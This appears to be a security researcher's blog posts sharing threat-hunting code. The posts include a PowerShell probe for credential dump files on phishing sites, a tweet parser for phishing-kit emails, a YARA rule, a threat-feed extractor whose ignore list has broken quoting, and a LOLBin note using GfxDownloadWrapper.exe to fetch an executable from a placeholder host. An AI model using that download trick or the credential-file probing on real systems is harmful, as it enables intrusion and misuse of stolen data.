Wednesday, May 20, 2020

experimental powershell script exfil logs txt files

$debug = 0

$status = 1

$statusCheckEvery = 25

$urls = @("https://mikyx.csb.app/purchaseorder2020")

$folders = @("", "log", "logs", "script")

$files = @("logs.txt", "log.txt", "log.html", "logs.html", "user.txt", "users.txt", "stored.txt", "accounts.txt", "login.txt", "logins.txt", "fullz.txt", "access.txt", "access.log", "U1.txt", "script.txt")

$total = $urls.Length * $folders.Length * $files.Length

$totalCount = 0

if($status -eq 1)

{

    write-host ("**status**: starting {0} urls, {1} requests per url" -f $urls.Length, ($folders.Length * $files.Length))

}

foreach($url in $urls)

{

    $issueCount = 0

    $urlFilesFoundCount = 0

    $indexOfLastSlash = $url.LastIndexOf('/')

    if($indexOfLastSlash -gt 12)

    {

        $url = $url.substring(0, $indexOfLastSlash)

        if($debug -eq 1) { write-host ("base:{0}" -f $url) }

    }

    foreach($folder in $folders)

    {

        foreach($file in $files)

        {

            $totalCount = $totalCount + 1

            if($folder -eq "")

            {

                $fullUrl = ("{0}/{1}" -f $url, $file)

            }

            else

            {

                $fullUrl = ("{0}/{1}/{2}" -f $url, $folder, $file)

            }

            if($debug -eq 1) { write-host ("-url:{0}" -f $fullUrl) }

            try

            {

                if($issueCount -lt 2)

                {

                    wget $fullUrl | out-null

                    write-host ("--found:{0}" -f $fullUrl)

                    $urlFilesFoundCount = $urlFilesFoundCount + 1

                    $issueCount = $issueCount + 1

                    if($issueCount -gt 1)

                    {

                        write-host ("--STOPPING: found multiple hits, likely a false positive ({0})" -f $url)

                    }

                }

            }

            catch

            {

                if($debug -eq 1) { write-host ("--error:({0}){1}" -f $_, $fullUrl) }

                if($_ -like 'Unable to connect to the remote server*' -or $_.ToString() -like 'The remote name could not be resolved*')

                {

                    $issueCount = $issueCount + 1

                    if($issueCount -gt 1)

                    {

                        if($debug -eq 1) { write-host ("--STOPPING: multiple connection errors, site likely down ({0})" -f $url) }

                    }

                }

            }

            if($status -eq 1 -and ($totalCount % $statusCheckEvery -eq 0))

            {

                write-host ("**status**: {0}% done ({1} of {2} requests)" -f [math]::Round($totalCount / $total * 100), $totalCount, $total)

            }

        }

    }

    if($urlFilesFoundCount -eq 0)

    {

        if($debug -eq 1) { write-host ("--nothing found:{0}" -f $url) }

    }

}

if($status -eq 1)

{

    write-host ("**status**: 100% done ({0} of {0} requests)" -f $total)

}

Friday, May 15, 2020

updated python to pull out threat actor emails from twitter

# coding: utf8
import re
import datetime
filename = "twitter.txt"
debug = 0
rawtwitterposts = ""
count = 0
urlIgnoreList = ["urlscan", "urlquery", "pastebin", "app.any.run"]
urlSaveList = ["virustotal", "github", "anonfile.com"]
emailIgnoreList = []
posts = []
postcount = 0
with open(filename, 'r') as file:
 rawtwitterposts = file.read()
 rawtwitterposts = rawtwitterposts.replace("hxxp", "http").replace("[.]", ".").replace("[.", ".").replace(".]",".").replace(" [@] ", "@").replace(" . ", ".").replace(". ", ".").replace("\.", ".")
 rawtwitterposts = rawtwitterposts.replace("[@]","@").replace(" @ ", "@").replace("[.]", ".").replace("[.", ".").replace(".]",".").replace("<","").replace(">","").replace(".com,", ".com , ").replace(",com", ".com").replace("^","").replace("(","").replace(")","").replace("\"", "").replace("'","").replace("{at}", "@").replace("symbol", " ").replace("?"," ")
 #rawtwitterposts = rawtwitterposts.replace("\r", " ").replace("\n", " ")

 while len(rawtwitterposts) > 0:
  try:
   # find the first dot
   indexof1stdot = rawtwitterposts.index('·')
   # get rid of the first dot
   rawtwitterposts = rawtwitterposts.replace('·', 'X', 1)
   # find the poster on the line before the dot
   indexof1stposter = rawtwitterposts[:indexof1stdot].rindex('@')
   try:
    # find the 2nd dot
    indexof2nddot = rawtwitterposts.index('·')
    # find the 2nd poster
    indexof2ndposter = rawtwitterposts[:indexof2nddot].rindex('@')
   except:
    indexof2nddot = len(rawtwitterposts)
    indexof2ndposter = len(rawtwitterposts)
   # save off the 1st post
   currentpost = rawtwitterposts[indexof1stposter:indexof2ndposter]
   posts.append(currentpost)
   postcount = postcount + 1
  except:
   rawtwitterposts = ""
  rawtwitterposts = rawtwitterposts[indexof2ndposter:]

postcount = 0 
for post in posts:
 postcount = postcount + 1
 foundPoster = 0
 foundDate = 0
 foundUrl = 0
 foundSavedUrl = 0
 foundEmail = 0
 linecount = 0
 target = ""
 poster = ""
 date = ""
 url = ""
 savedurl = ""
 kitName = ""
 threatActor = ""
 emailList = []
 #print("%d) %s" % (postcount, post))
 lines = re.split('\n', post)
 for line in lines:
  line = line.lower()
  linecount = linecount + 1
  if linecount == 1:
   poster = line
  elif linecount == 3:
   parts = re.split(' |, |\.', line)
   if parts and ( len(parts) == 3 or len(parts) == 2):
    month = ""
    if parts[0] == "jan":
     month = "1"
    if parts[0] == "feb":
     month = "2"
    if parts[0] == "march" or parts[0] == "mar":
     month = "3"
    if parts[0] == "april" or parts[0] == "apr":
     month = "4"
    if parts[0] == "may":
     month = "5"
    if parts[0] == "jun":
     month = "6"
    if parts[0] == "jul":
     month = "7"
    if parts[0] == "aug":
     month = "8"
    if parts[0] == "sep":
     month = "9"
    if parts[0] == "oct":
     month = "10"
    if parts[0] == "nov":
     month = "11"
    if parts[0] == "dec":
     month = "12"
    day = parts[1]
    if len(parts) == 2:
     date = ("%s/%s/%s" % (month, day, datetime.datetime.now().year))
    else:
     date = ("%s/%s/%s" % (month, day, parts[2])) 
  else:
   urlSearch = re.search("((http|https)\:\/\/[^\s]+)", line)
   if urlSearch:
    urlToAnalyze = urlSearch.group().replace(",",".")
   else:
    urlSearch = re.search("[^\s\/]+\.(..|...)\/[^\s]+(\.php|\/)$", line)
    if urlSearch:
     urlToAnalyze = "http://" + urlSearch.group().replace(",",".")
    else:
     urlSearch = re.search("(\/\/[^\s]+)", line)
     if urlSearch:
      urlToAnalyze = "http:" + urlSearch.group().replace(",",".")
   if urlSearch:
    thisIsSavedUrl = 0
    if foundSavedUrl == 0:
     for urlToSave in urlSaveList:
      if urlToSave in urlToAnalyze:
       savedurl = urlToAnalyze
       foundSavedUrl = 1
       thisIsSavedUrl = 1
       break
    if foundUrl == 0 and thisIsSavedUrl == 0:
     for urlToIgnore in urlIgnoreList:
      if urlToIgnore in urlToAnalyze:
       urlToAnalyze = ""
       break
     if len(urlToAnalyze) > 7 and thisIsSavedUrl == 0:
      url = urlToAnalyze
   #find kit name
   if len(kitName) == 0:
    kitNameSearch = re.search("([^\s\/]+\.zip)", line)
    if kitNameSearch:
     kitName = kitNameSearch.group()
    else:
     kitNameSearch = re.search("([^\s\/]+\.zip)", url)
     if kitNameSearch:
      kitName = kitNameSearch.group()
   #find threat actor
   if len(threatActor) == 0:
    if "hijaiyh" in line:
     threatActor = "Hijaiyh"
    elif "16shop" in line:
     threatActor = "16shop"
    else:
     threatActorSearch = re.search("((created|coded|made)\sby\s[^\s]+)", line)
     if threatActorSearch:
      threatActor = threatActorSearch.group()
   #find target
   if len(target) == 0:
    try:
     if "@usbank" in line or "usbank" in url:
      target = "USBank"
     elif "targeting apple" in line or "#apple" in line or "@apple" in line or "#16shop" in line or "apple" in url or "icloud" in url:
      target = "Apple"
     elif "#hsbc" in line or "@hsbc" in line or "@hsbc_uk" in line or "hsbc" in url:
      target = "HSBC"
     elif "#chase" in line or "@chase" in line or "@chasesupport" in line or "chase" in url:
      target = "Chase"
     elif "#unicredit" in line or "@unicreditbg" in line or "unicredit" in url:
      target = "UniCredit"
     elif "#docusign" in line or "@docusign" in line or "docusign" in url:
      target = "Docusign"
     elif "#arubait" in line or "@arubait" in line or "arubait" in url:
      target = "Arubait"
     elif "#box" in line or "@box" in line:
      target = "Box"
     elif "#dhl" in line or "@dhl" in line or "dhl" in url:
      target = "DHL"
     elif "#fedex" in line or "@fedex" in line or "fedex" in url:
      target = "FedEx"
     elif "american express" in line or "#amex" in line or "@amex" in line or "americanexpress" in url:
      target = "AmEx"
     elif "#sharepoint" in line or "@sharepoint" in line or "sharepoint" in url:
      target = "Sharepoint"
     elif "#raiffeisen" in line or "@raiffeisen" in line or "raiffeisen" in url:
      target = "Raiffeisen"
     elif "#wetransfer" in line or "@wetransfer" in line or "wetransfer" in url:
      target = "WeTransfer"
     elif "#dropbox" in line or "@dropbox" in line or "dropbox" in url:
      target = "Dropbox"
     elif "#intesa" in line or "@intesasp_help" in line or "intesa" in url:
      target = "Intesa"
     elif "#spectrum" in line or "@spectrum" in line or "spectrum" in url:
      target = "Spectrum"
     elif "#santander" in line or "@santander_es" in line or "santander" in url:
      target = "Santander"
     elif "amazon themed" in line or "targeting #amazon" in line or "targeting @amazon" in line or "targeting amazon" in line:
      target = "Amazon"
     elif "#paypal" in line or "@paypal" in line or "@askpaypal" in line or "paypal" in url:
      target = "Paypal"
     elif "#instagram" in line or "@instagram" in line or "instagram" in url:
      target = "Instagram"
     elif "#onedrive" in line or "@onedrive" in line or "onedrive" in url:
      target = "OneDrive"
     elif "#netflix" in line or "@netflix" in line or "@netflixuk" in line or "netflix" in url:
      target = "Netflix"
     elif "#o365" in line or "#office365" in line or "@office365" in line or "@office_365" in line or "o365" in url or "office365" in url:
      target = "Office365"
     elif "#wellsfargo" in line or "@wellsfargo" in line or "wellsfargo" in url or "wells-fargo" in url or "wfargo" in url:
      target = "WellsFargo"
     elif "#barclays" in line or "@barclays" in line or "barclays" in url:
      target = "Barclays"
     elif "adobe themed" in line or "#adobe" in line or "@adobe" in line or "adobe" in url:
      target = "Adobe"
     elif "#excel" in line or "#msexcel" in line or "@msexcel" in line or "excel" in url:
      target = "MsExcel"
     elif "#outlook" in line or "@outlook" in line or "outlook" in url:
      target = "Outlook"
     elif "#googledocs" in line or "@googledocs" in line or "googledocs" in url or "gdocs" in url:
      target = "GoogleDocs"
    except:
     target = ""
   emailline = line
   while len(emailline) > 0:
    emailSearch = re.search("([^\s\,\;]+([@]|\s[@]\s)[^\s\,\;]+)", emailline)
    if emailSearch:
     emailToAnalyze = emailSearch.group()
     emailline = emailline[emailline.index(emailToAnalyze) + len(emailToAnalyze):]
     if not ("http://" in emailToAnalyze or "https://" in emailToAnalyze or "=" in "http://" or "?" in emailToAnalyze):
      if emailToAnalyze[len(emailToAnalyze)-1:] == ",":
       emailToAnalyze = emailToAnalyze[0:len(emailToAnalyze)-1]
      emailToAnalyze = emailToAnalyze.replace(",",".")
      if len(emailToAnalyze) > 0:
       for emailToIgnore in emailIgnoreList:
        if emailToIgnore in emailToAnalyze:
         emailToAnalyze = ""
         break
      else:
       emailline = ""
      if len(emailToAnalyze) > 0:
       emailList.append(emailToAnalyze)
       foundEmail = 1
      else:
       emailline = ""
     else:
      emailline = ""
    else:
     emailline = ""
 # START: DISPLAY RESULTS
 if foundEmail or foundSavedUrl:
  emailCount = 0
  for email in emailList:
   emailCount = emailCount +1
   parts1 = email.split("@")
   emailtype = ""
   if len(parts1) == 2:
    parts2 = parts1[1].split(".")
    if len(parts2) > 1:
     emailtype = parts2[0]
   kiturl = ""
   domain = ""
   if ".zip" in url:
    kiturl = url
   else:
    parts = url.split("/")
    if len(parts) > 2:
     domain = parts[2]
   if len(email) > 7 and len(savedurl) == 0 and len(poster) > 3:
    savedurl = ("https://twitter.com/%s/" % (poster.replace("@","")))
   # DateFound,ReferenceLink,ThreatActorEmail,EmailType,KitMailer,Target,PhishingDomain,KitName,ThreatActor,KitHash,KitUrl
   if(len(email) > 7 or len(savedurl) > 7):
    print("%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (date,savedurl,email,emailtype,"",target,domain,kitName,threatActor,"",kiturl))
  if emailCount == 0 and foundSavedUrl == 1:
   email = ""
   emailtype = ""
   kiturl = ""
   domain = ""
   if ".zip" in url:
    kiturl = url
   else:
    parts = url.split("/")
    if len(parts) > 2:
     domain = parts[2]
   if len(email) > 7 and len(savedurl) == 0 and len(poster) > 3:
    savedurl = ("https://twitter.com/%s/" % (poster.replace("@","")))
   # DateFound,ReferenceLink,ThreatActorEmail,EmailType,KitMailer,Target,PhishingDomain,KitName,ThreatActor,KitHash,KitUrl
   if(len(email) > 7 or len(savedurl) > 7):
    print("%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (date,savedurl,email,emailtype,"",target,domain,kitName,threatActor,"",kiturl))

Monday, April 27, 2020

phishingkit email phishing yara rule

/*
    Phishing Kit Emails
*/
rule PhishingKitEmail
{
    strings:
        $domain1 = "@gmail.com"
        $domain2 = "@yandex.com"
        $domain3 = "@outlook.com"
        $domain4 = "@protonmail.com"
        $domain5 = "@yahoo.com"
        $domain6 = "@hotmail.com"
        $domain7 = "@zoho.com"
        $domain8 = "@yandex.ru"
        $domain9 = "@163.com"
        $domain10 = "@aol.com"
        $domain11 = "@mail.ru"
    condition:
        (file_type contains "php") and (file_name contains "mail" or file_name contains "result" or file_name contains "next" or file_name contains "send" or file_name contains "connect" or file_name contains "info" or file_name contains "config" or file_name contains "process" or file_name contains "step" or file_name contains "success" or file_name contains "to" or file_name contains "login" or file_name contains "logon" or file_name contains "3d" or file_name contains "action" or file_name contains "pass" or file_name contains "user" or file_name contains "verif" or file_name contains "post" or file_name contains "finish" or file_name contains "log" or file_name contains "submit" or file_name contains "check") and any of ($domain*)
}

Thursday, April 23, 2020

Script Query UrlHaus , OpenPhish, PhishTank and Extract Dns, IPs for Threat Intel Feed

code to pull dns & ips from urlhaus, openphish, phishtank, etc.


#usage: iex (get-content .\GetData.ps1 | out-string) > output.txt
$debug = $true
$fileOutput = "dns.csv"
$fileIpOutput = "ip.csv"
$ignoreList = @("google.com", "www.google.com", "urlhaus.abuse.ch", "pastebin.com", "ak.imgfarm.com", "docs.google.com", "drive.google.com", "i.imgur.com", "img.sobot.com", "imgur.com", "www.imgur.com", "raw.githubusercontent.com", "github.com", "www.github.com", "adobe.com", "www.adobe.com", "ibm.com", "www.ibm.com", "dell.com", "www.dell.com", "bing.com", "www.bing.com", "msn.com", "www.msn.com", "documentcloud.adobe.com", "cisco.com", "www.cisco.com",  "l.yimg.com", "yimg.com", "dl.dropboxusercontent.com", "dropbox.com", "www.dropbox.com", "godaddy.com", "godaddysites.com", "files.constantcontact.com", "ipinfo.io", "bit.ly", "onedrive.live.com", "000webhostapp.com", "storage.googleapis.com", "wikileaks.org", "forms.gle", "go2l.ink", "capesandbox.com", "twitter.com", "paste.cryptolaemus.com", "cryptolaemus.com", "gist.githubusercontent.com", "bitbucket.org", "img1.wsimg.com", "cdn.discordapp.com", "web.mit.edu", "bit.do", "na3.docusign.net", "sway.office.com", "sites.google.com", "aka.ms", "login.microsoftonline.com", "track.smtpsendmail.com", "r20.rs6.net", "files.gamebanana.com", "sems.sas.com", "www.avast.com", "1.0.0.0", "bitly.com", "instagram.com", "www.instagram.com", "1.2.0.1073", "2016.3.3.0332", "3.0.0.2013", "31.128.173.853", "4.8.0.904", "cdn.speedof.me", "codeload.github.com", "tr.im", "urlz.fr", "accounts.google.com", "t.co", "fls.doubleclick.net", "1359940.fls.doubleclick.net", "rebrand.ly", "23.4.43.27", "app.smartsheet.com", "forms.office.com", "api.whatsapp.com", "form.jotform.com", "tinyurl.com", "firebasestorage.googleapis.com", "www.google.com.au", "go.pardot.com", "goo.gl", "click.icptrack.com", "online.jimmyjohns.com", "feeds.feedburner.com", "www.google.co.uk", "event.on24.com", "www.powr.io", "protect-us.mimecast.com", "visitor.constantcontact.com", "www.questionpro.com", "click.pstmrk.it", "code.jivosite.com", "apple.co", "www.google.com.mx", "linktr.ee", "www.vcita.com", "www.evernote.com", "www.123formbuilder.com", "tiny.cc", "app.box.com", "script.google.com", "disq.us", "click.email.microsoftemail.com", "fiddle.jshell.net", "cache.nebula.phx3.secureserver.net", "lnkd.in", "www.magazineluiza.com.br", "share.hsforms.com", "fbwat.ch", "app.dialoginsight.com", "cl.s10.exct.net", "etrack05.com", "www.alaskausa.org", "vk.com", "storage.cloud.google.com", "1drv.ms", "www.imcreator.com", "172.217.21.162", "sinacloud.net", "tinyurl.com", "is.gd", "note.youdao.com", "www.surveygizmo.com", "www.tinyurl.com", "surveygizmo.com", "ow.ly", "www.eater.com", "eater.com", "www.stats.gov.cn", "stats.gov.cn", "buff.ly", "www.angelfire.com", "epl.paypal-communication.com", "forms.zohopublic.com", "objectstorage.us-ashburn-1.oraclecloud.com", "t.yesware.com", "snip.ly", "cutt.ly", "mysurveygizmo.com", "www.mysurveygizmo.com", "gitlab.com", "ht.ly", "teamapp.com", "chat.chatra.io", "id.ee.co.uk", "paste.ee","youtube.com","www.youtube.com","play.google.com","google.com.br","docsend.com","www.google.com.br","www.emailmeform.com","emailmeform.com","web.facebook.com","upload.facebook.com","te.bathandbodyworks.com","tatatechnologies.workplace.com","statis.facebook.com","protect-eu.mimecast.com","notion.so","mtouch.facebook.com","messenger.com","j.mp","images2.imgbox.com","graph.facebook.com","fbthirdpartypixel.com","es-la.facebook.com","error.facebook.com","email.secureserver.net","edge-chat.workplace.com","edge-chat.facebook.com","deref-gmx.net","cs.atdmt.com","click.mail.onedrive.com","ca.surveygizmo.com","business.facebook.com","badge.facebook.com","apps.facebook.com","api.facebook.com","an.facebook.com","about.instagram.com","yadi.sk", "157.240.2.20", "www.notion.so","static.facebook.com","www.login-bank.org", "ctt.ec", "www.teamapp.com", "t.umblr.com", "upscri.be", "www.imeipro.info", "imeipro.info", "wisegeek.com", "deref-mail.com", "app.getaccept.com", "cdn2.hubspot.net", "slack-redir.net", "www.wisegeek.com", "chime.com", "www.chime.com", "b.link" , "hyperurl.co", "s3.ap-south-1.amazonaws.com", "podio.com", "s3-us-west-2.amazonaws.com", "tfaforms.com", "www.tfaforms.com", "webservice99.com", "mediafire.com", "www.mediafire.com", "smarturl.it","s3.us-east-1.amazonaws.com","www.restaurantdive.com" ,"rawcdn.githack.com"","https","http","ttp","ttps","lasvegas.craigslist.org","clicktime.symantec.com","survey.survicate.com","t.me","clicktotweet.com", "www.wetransfer.com", "wetransfer.com", "www.geocities.ws", "geocities.ws", "wa.me", "email.godaddy.com", "emailmarketing.locaweb.com.br", "dlvr.it", "www.sendspace.com", "v.ht", "52.109.124.1", "static.wixstatic.com","docs.wixstatic.com","image.prntscr.com,"d1yjjnpx0p53s8.cloudfront.net", "canva.com", "articulo.mercadolibre.com.mx", "e-mudhra.com", "www.canva.com", "listado.mercadolibre.com.mx")
#$urlIntelThem = "https://openphish.com/feed.txt"
#$urlIntelThem = "https://data.phishtank.com/data/online-valid.csv"
#$urlIntelThem = "https://phishstats.info/phish_score.txt"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv/"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_recent/"
$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_online/"
$rawHttpThem = ""
$rawIntelThem = ""
$dnsList = ""
$ipList = ""
$first = 0
if($debug){ Write-Output ("Requesting '{0}'" -f $urlIntelThem) }
$httpResponseThem = Invoke-WebRequest -UseDefaultCredentials $urlIntelThem
$rawHttpThem = $httpResponseThem.RawContent
if($debug){ Write-Output ("Downloaded '{0}'" -f $urlIntelThem) }
if($rawHttpThem.IndexOf("abuse.ch") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("PhishStats") -gt 0){
$rawIntelThem = "date,score,url,ip`r`n{0}" -f $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("phish_id") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.IndexOf("phish_id"))
}else{
$first = $rawHttpThem.IndexOf("http")
$rawIntelThem = "url`r`n{0}" -f $rawHttpThem.SubString($first)
}
$csvThemIntel = ConvertFrom-Csv $rawIntelThem
$outputList = @()
$outputIpList = @()
$savedCount = 0
$savedIpCount = 0
$ignoredCount = 0
foreach($rowIntelThem in $csvThemIntel){
try {
$domainThem = ([System.Uri]::new($rowIntelThem.url).Host).ToString()
$ignoreIt = 0
foreach($ignoredItem in $ignoreList){
if($domainThem.ToLower() -eq $ignoredItem.ToLower()){
$ignoreIt = 1
$ignoredCount = $ignoredCount +1
break
}
}
if($ignoreIt -eq 0){
$ipThem = [IPAddress] $domainThem
$newHit = New-Object PSObject
$newHit | add-member Noteproperty ip $ipThem
$outputIpList += $newHit
$savedIpCount = $savedIpCount + 1
}
}
catch{
if($domainThem.ToLower().StartsWith("www.")){
#double count it (www.ebay.com and ebay.com)
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem.SubString(4)
$outputList += $newHit
$savedCount = $savedCount + 1
}
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem
$outputList += $newHit
$savedCount = $savedCount + 1
}
}
if($debug){ Write-Output ("Exporting '{0}'" -f $fileOutput) }
$outputList | Export-Csv -NoTypeInformation -Path $fileOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileOutput) }
if($debug){ Write-Output ("Exporting '{0}'" -f $fileIpOutput) }
$outputIpList | Export-Csv -NoTypeInformation -Path $fileIpOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileIpOutput) }
if($debug){ Write-Output ("Dns='{0}', Ips='{1}', Ignored='{2}'" -f $savedCount, $savedIpCount, $ignoredCount) }
if($debug){
foreach($dns in $outputList){
if($dnsList -eq ""){
$dnsList = $dns.dns
}else{
$dnsList = "{0},{1}" -f $dnsList , $dns.dns
}
}
foreach($ip in $outputIpList){
if($ipList -eq ""){
$ipList = $ip.ip
}else{
$ipList = "{0},{1}" -f $ipList , $ip.ip
}
}
Write-Output $dnsList
Write-Output $ipList
}

Wednesday, April 22, 2020

Query Sysmon Logs using Powershell Get-WinEvent

get-winevent -filterhashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} | select Message |foreach-object {$a = $_.Message.split([Environment]::NewLine); ""; foreach ($a2 in $a) {$b = $a2.split(':',2); $key = $b[0]; $value = $b[1]; if($key -eq "CommandLine" -or $key -eq "ParentCommandLine"){"{0}={1}" -f ($key,$value)}}}


sample output

CommandLine= sh "C:/Program Files/Git/mingw64/libexec/git-core\\git-update-git-for-windows" --quiet --gui
ParentCommandLine= git.exe update-git-for-windows --quiet --gui

CommandLine= git.exe update-git-for-windows --quiet --gui
ParentCommandLine= cmd\git.exe update-git-for-windows --quiet --gui

CommandLine= cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui

CommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule

Monday, April 20, 2020

GfxDownloadWrapper.exe downloader

cd c:\windows\system32\DriverStore\FileRepository\ki132337.inf_amd64_223d6831ffa64ab1

(sub folder may vary)

GfxDownloadWrapper.exe https://somewhere/test.exe c:\windows\temp\test.exe

dir c:\windows\temp\test.exe


expand.exe files copied

to copy from a file share

expand.exe \\share\test.txt c:\windows\temp\test.exe